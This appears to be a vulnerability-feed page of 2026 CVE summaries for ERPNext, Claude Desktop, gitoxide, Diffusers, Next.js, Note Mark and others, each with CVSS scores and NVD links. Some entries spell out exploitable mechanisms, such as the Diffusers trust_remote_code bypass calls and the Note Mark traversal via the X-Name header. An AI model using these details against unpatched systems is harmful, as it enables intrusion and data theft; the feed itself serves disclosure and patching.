CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44442).
Sources:
NVD CVE-2026-44442: https://nvd.nist.gov/vuln/detail/CVE-2026-44442
Vendor advisory (via NVD references): https://github.com/frappe/erpnext/security/advisories/GHSA-cg5w-7g26-p3w9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.1, certain endpoints failed to enforce proper authorization checks, allowing users to modify data beyond their permitted role. This vulnerability is fixed in 16.9.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ERPNext is a free and open source Enterprise Resource Planning tool.
https://kevwire.com/record/CVE-2026-44446
ERPNext is a free and open source Enterprise Resource Planning tool. (May 13, 2026).
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.104.3 and 16.14.0, some endpoints were vulnerable to SQL injection through specially crafted requests, which would allow a malicious actor to extract sensitive information. This vulnerability is fixed in 15.104.3 and 16.14.0.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44446).
Sources:
NVD CVE-2026-44446: https://nvd.nist.gov/vuln/detail/CVE-2026-44446
Vendor advisory (via NVD references): https://github.com/frappe/erpnext/security/advisories/GHSA-6fm9-g88m-hxr7
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.104.3 and 16.14.0, some endpoints were vulnerable to SQL injection through specially crafted requests, which would allow a malicious actor to extract sensitive information. This vulnerability is fixed in 15.104.3 and 16.14.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ERPNext is a free and open source Enterprise Resource Planning tool.
https://kevwire.com/record/CVE-2026-44447
ERPNext is a free and open source Enterprise Resource Planning tool. (May 13, 2026).
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.0, some endpoints were vulnerable to SQL injection through specially crafted requests, which would allow a malicious actor to extract sensitive information. This vulnerability is fixed in 16.9.0.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44447).
Sources:
NVD CVE-2026-44447: https://nvd.nist.gov/vuln/detail/CVE-2026-44447
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.0, some endpoints were vulnerable to SQL injection through specially crafted requests, which would allow a malicious actor to extract sensitive information. This vulnerability is fixed in 16.9.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side.
https://kevwire.com/record/CVE-2026-44467
The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. (May 13, 2026).
The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. From 1.2581.0 to before 1.4304.0, Claude Desktop's SSH remote development feature verified only whether a hostname existed in ~/.ssh/known_hosts without comparing the server's presented host key against the stored key. This allowed a network-positioned attacker to present an arbitrary SSH host key and have the connection silently accepted, enabling a man-in-the-middle attack on remote development sessions. Successful exploitation required the attacker to be in a network position to intercept SSH traffic (e.g., via ARP spoofing, rogue Wi-Fi, or DNS poisoning) and the target hostname to already have an entry in the victim's known_hosts file. This vulnerability is fixed in 1.4304.0.
CVSS 7.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44467).
Sources:
NVD CVE-2026-44467: https://nvd.nist.gov/vuln/detail/CVE-2026-44467
Vendor advisory (via NVD references): https://github.com/anthropics/claude-code/security/advisories/GHSA-3rwf-2g6p-c2f9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. From 1.2581.0 to before 1.4304.0, Claude Desktop's SSH remote development feature verified only whether a hostname existed in ~/.ssh/known_hosts without comparing the server's presented host key against the stored key. This allowed a network-positioned attacker to present an arbitrary SSH host key and have the connection silently accepted, enabling a man-in-the-middle attack on remote development sessions. Successful exploitation required the attacker to be in a network position to intercept SSH traffic (e.g., via ARP spoofing, rogue Wi-Fi, or DNS poisoning) and the target hostname to already have an entry in the victim's known_hosts file. This vulnerability is fixed in 1.4304.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side.
https://kevwire.com/record/CVE-2026-44470
The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. (May 13, 2026).
The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. Prior to 1.3834.0, the CoworkVMService component in Claude Desktop for Windows ran as SYSTEM and did not validate whether the VM bundle directory was a real directory or an NTFS directory junction before creating files within it. A local non-elevated user could replace the user-writable VM bundle directory with a directory junction pointing to an attacker-chosen location, causing the service to create a SYSTEM-owned file in an arbitrary directory. This could be leveraged for local privilege escalation. This vulnerability is fixed in 1.3834.0.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44470).
Sources:
NVD CVE-2026-44470: https://nvd.nist.gov/vuln/detail/CVE-2026-44470
Vendor advisory (via NVD references): https://github.com/anthropics/claude-code/security/advisories/GHSA-5p5x-5294-qhp3
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The Claude Desktop app gives you Claude Code with a graphical interface built for running multiple sessions side by side. Prior to 1.3834.0, the CoworkVMService component in Claude Desktop for Windows ran as SYSTEM and did not validate whether the VM bundle directory was a real directory or an NTFS directory junction before creating files within it. A local non-elevated user could replace the user-writable VM bundle directory with a directory junction pointing to an attacker-chosen location, causing the service to create a SYSTEM-owned file in an arbitrary directory. This could be leveraged for local privilege escalation. This vulnerability is fixed in 1.3834.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### gitoxide is an implementation of git written in Rust.
https://kevwire.com/record/CVE-2026-44471
gitoxide is an implementation of git written in Rust. (May 13, 2026).
gitoxide is an implementation of git written in Rust. Prior to 0.21.1, a malicious tree can be constructed that will, when checked out with gitoxide, permit writing an attacker-controlled symlink into any existing directory the user has write access to. During checkout, all symlink index entries are deferred and created after regular files using a single shared gix_worktree::Stack. Internally, this uses a gix_fs::Stack. gix_fs::Stack::make_relative_path_current() caches validated path prefixes: when the previously-processed leaf component exactly matches the leading component(s) of the next path, the leaf-to-directory transition at gix-fs/src/stack.rs invokes only delegate.push_directory(), never delegate.push(). In gix_worktree::stack::delegate::StackDelegate, when the state member is State::CreateDirectoryAndAttributesStack, Attributes::push_directory() only loads attributes (from the ODB, in the clone case), and does not perform any other checks. The on-disk symlink_metadata() check and unlink-on-collision live in StackDelegate::push()'s invocation of create_leading_directory(), which is therefore bypassed for the cached prefix. The final symlink is created with plain std::os::unix::fs::symlink, which follows symlinks in parent directories. Therefore, it's possible to provide a tree with duplicate symlink and directory entries that exploits this. This vulnerability is fixed in 0.21.1.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44471).
Sources:
NVD CVE-2026-44471: https://nvd.nist.gov/vuln/detail/CVE-2026-44471
Vendor advisory (via NVD references): https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f89h-2fjh-2r9q
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
gitoxide is an implementation of git written in Rust. Prior to 0.21.1, a malicious tree can be constructed that will, when checked out with gitoxide, permit writing an attacker-controlled symlink into any existing directory the user has write access to. During checkout, all symlink index entries are deferred and created after regular files using a single shared gix_worktree::Stack. Internally, this uses a gix_fs::Stack. gix_fs::Stack::make_relative_path_current() caches validated path prefixes: when the previously-processed leaf component exactly matches the leading component(s) of the next path, the leaf-to-directory transition at gix-fs/src/stack.rs invokes only delegate.push_directory(), never delegate.push(). In gix_worktree::stack::delegate::StackDelegate, when the state member is State::CreateDirectoryAndAttributesStack, Attributes::push_directory() only loads attributes (from the ODB, in the clone case), and does not perform any other checks. The on-disk symlink_metadata() check and unlink-on-collision live in StackDelegate::push()'s invocation of create_leading_directory(), which is therefore bypassed for the cached prefix. The final symlink is created with plain std::os::unix::fs::symlink, which follows symlinks in parent directories. Therefore, it's possible to provide a tree with duplicate symlink and directory entries that exploits this. This vulnerability is fixed in 0.21.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### soundcloud-rpc is a SoundCloud Client with Discord Rich Presence, Dark Mode, Last.fm and AdBlock support.
https://kevwire.com/record/CVE-2026-44482
soundcloud-rpc is a SoundCloud Client with Discord Rich Presence, Dark Mode, Last.fm and AdBlock support. (May 14, 2026).
soundcloud-rpc is a SoundCloud Client with Discord Rich Presence, Dark Mode, Last.fm and AdBlock support. Prior to 0.1.8, a track title containing an HTML payload executed locally in the Electron app. This means attacker-controlled SoundCloud track metadata can lead to local command execution on the user's machine. The application exposes a preload API (window.soundcloudAPI.sendTrackUpdate) to the remote SoundCloud page. Track metadata from SoundCloud is trusted and forwarded through IPC into the Electron main process. The app later renders that metadata as raw HTML inside privileged Electron views that have Node.js integration enabled. This vulnerability is fixed in 0.1.8.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44482).
Sources:
NVD CVE-2026-44482: https://nvd.nist.gov/vuln/detail/CVE-2026-44482
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
soundcloud-rpc is a SoundCloud Client with Discord Rich Presence, Dark Mode, Last.fm and AdBlock support. Prior to 0.1.8, a track title containing an HTML payload executed locally in the Electron app. This means attacker-controlled SoundCloud track metadata can lead to local command execution on the user's machine. The application exposes a preload API (window.soundcloudAPI.sendTrackUpdate) to the remote SoundCloud page. Track metadata from SoundCloud is trusted and forwarded through IPC into the Electron main process. The app later renders that metadata as raw HTML inside privileged Electron views that have Node.js integration enabled. This vulnerability is fixed in 0.1.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers...
https://kevwire.com/record/CVE-2026-44503
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers... (May 14, 2026).
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.
CVSS 7.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44503).
Sources:
NVD CVE-2026-44503: https://nvd.nist.gov/vuln/detail/CVE-2026-44503
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Diffusers is the a library for  pretrained diffusion models.
https://kevwire.com/record/CVE-2026-44513
Diffusers is the a library for  pretrained diffusion models. (May 14, 2026).
Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, a trust_remote_code bypass in DiffusionPipeline.from_pretrained allows arbitrary remote code execution despite the user passing trust_remote_code=False (or omitting it, which is the default). The vulnerability has three variants, all sharing the same root cause — the trust_remote_code gate was implemented inside DiffusionPipeline.download() rather than at the actual dynamic-module load site, so any code path that bypassed or short-circuited download() also bypassed the security check. DiffusionPipeline.from_pretrained('repoA', custom_pipeline='attacker/repoB', trust_remote_code=False) — the gate evaluated against repoA's file list rather than repoB's, so repoB's pipeline.py was loaded and executed. DiffusionPipeline.from_pretrained('/local/snapshot', custom_pipeline='attacker/repoB', trust_remote_code=False) — the local-path branch never invoked download(), so the gate was never reached and remote code from repoB executed. DiffusionPipeline.from_pretrained('/local/snapshot', trust_remote_code=False) where the snapshot contains custom component files (e.g. unet/my_unet_model.py) referenced from model_index.json — same root cause; the local path skipped download() and custom component code executed. This vulnerability is fixed in 0.38.0.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44513).
Sources:
NVD CVE-2026-44513: https://nvd.nist.gov/vuln/detail/CVE-2026-44513
Vendor advisory (via NVD references): https://github.com/huggingface/diffusers/security/advisories/GHSA-98h9-4798-4q5v
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, a trust_remote_code bypass in DiffusionPipeline.from_pretrained allows arbitrary remote code execution despite the user passing trust_remote_code=False (or omitting it, which is the default). The vulnerability has three variants, all sharing the same root cause — the trust_remote_code gate was implemented inside DiffusionPipeline.download() rather than at the actual dynamic-module load site, so any code path that bypassed or short-circuited download() also bypassed the security check. DiffusionPipeline.from_pretrained('repoA', custom_pipeline='attacker/repoB', trust_remote_code=False) — the gate evaluated against repoA's file list rather than repoB's, so repoB's pipeline.py was loaded and executed. DiffusionPipeline.from_pretrained('/local/snapshot', custom_pipeline='attacker/repoB', trust_remote_code=False) — the local-path branch never invoked download(), so the gate was never reached and remote code from repoB executed. DiffusionPipeline.from_pretrained('/local/snapshot', trust_remote_code=False) where the snapshot contains custom component files (e.g. unet/my_unet_model.py) referenced from model_index.json — same root cause; the local path skipped download() and custom component code executed. This vulnerability is fixed in 0.38.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Valtimo is an open-source business process automation platform.
https://kevwire.com/record/CVE-2026-44516
Valtimo is an open-source business process automation platform. (May 14, 2026).
Valtimo is an open-source business process automation platform. From 12.4.0 to 12.33.0 and 13.26.0, the LoggingRestClientCustomizer in the web module automatically intercepts all outgoing HTTP calls made via Spring's RestClient and logs the full request body, response body, and response headers. When an error response is received, this information is included in the thrown HttpClientErrorException message, which is logged at ERROR level by Spring's default exception handling — regardless of the application's DEBUG log level setting. This vulnerability is fixed in 12.33.0 and 13.26.0.
CVSS 7.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44516).
Sources:
NVD CVE-2026-44516: https://nvd.nist.gov/vuln/detail/CVE-2026-44516
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Valtimo is an open-source business process automation platform. From 12.4.0 to 12.33.0 and 13.26.0, the LoggingRestClientCustomizer in the web module automatically intercepts all outgoing HTTP calls made via Spring's RestClient and logs the full request body, response body, and response headers. When an error response is received, this information is included in the thrown HttpClientErrorException message, which is logged at ERROR level by Spring's default exception handling — regardless of the application's DEBUG log level setting. This vulnerability is fixed in 12.33.0 and 13.26.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Note Mark is an open-source note-taking application.
https://kevwire.com/record/CVE-2026-44522
Note Mark is an open-source note-taking application. (May 14, 2026).
Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44522).
Sources:
NVD CVE-2026-44522: https://nvd.nist.gov/vuln/detail/CVE-2026-44522
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Note Mark is an open-source note-taking application.
https://kevwire.com/record/CVE-2026-44523
Note Mark is an open-source note-taking application. (May 14, 2026).
Note Mark is an open-source note-taking application. Prior to 0.19.4, no minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. This vulnerability is fixed in 0.19.4.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44523).
Sources:
NVD CVE-2026-44523: https://nvd.nist.gov/vuln/detail/CVE-2026-44523
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Note Mark is an open-source note-taking application. Prior to 0.19.4, no minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. This vulnerability is fixed in 0.19.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js is a React framework for building full-stack web applications.
https://kevwire.com/record/CVE-2026-44578
Next.js is a React framework for building full-stack web applications. (May 13, 2026).
Next.js is a React framework for building full-stack web applications. From 13.4.13 to before 15.5.16 and 16.2.5, self-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected. This vulnerability is fixed in 15.5.16 and 16.2.5.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44578).
Sources:
NVD CVE-2026-44578: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
Vendor advisory (via NVD references): https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Next.js is a React framework for building full-stack web applications. From 13.4.13 to before 15.5.16 and 16.2.5, self-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected. This vulnerability is fixed in 15.5.16 and 16.2.5.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js is a React framework for building full-stack web applications.
https://kevwire.com/record/CVE-2026-44579
Next.js is a React framework for building full-stack web applications. (May 13, 2026).
Next.js is a React framework for building full-stack web applications. From  to before 15.5.16 and 16.2.5, applications using Partial Prerendering through the Cache Components feature can be vulnerable to connection exhaustion through crafted POST requests to a server action. In affected configurations, a malicious request can trigger a request-body handling deadlock that leaves connections open for an extended period, consuming file descriptors and server capacity until legitimate users are denied service. This vulnerability is fixed in 15.5.16 and 16.2.5.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44579).
Sources:
NVD CVE-2026-44579: https://nvd.nist.gov/vuln/detail/CVE-2026-44579
Vendor advisory (via NVD references): https://github.com/vercel/next.js/security/advisories/GHSA-mg66-mrh9-m8jx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
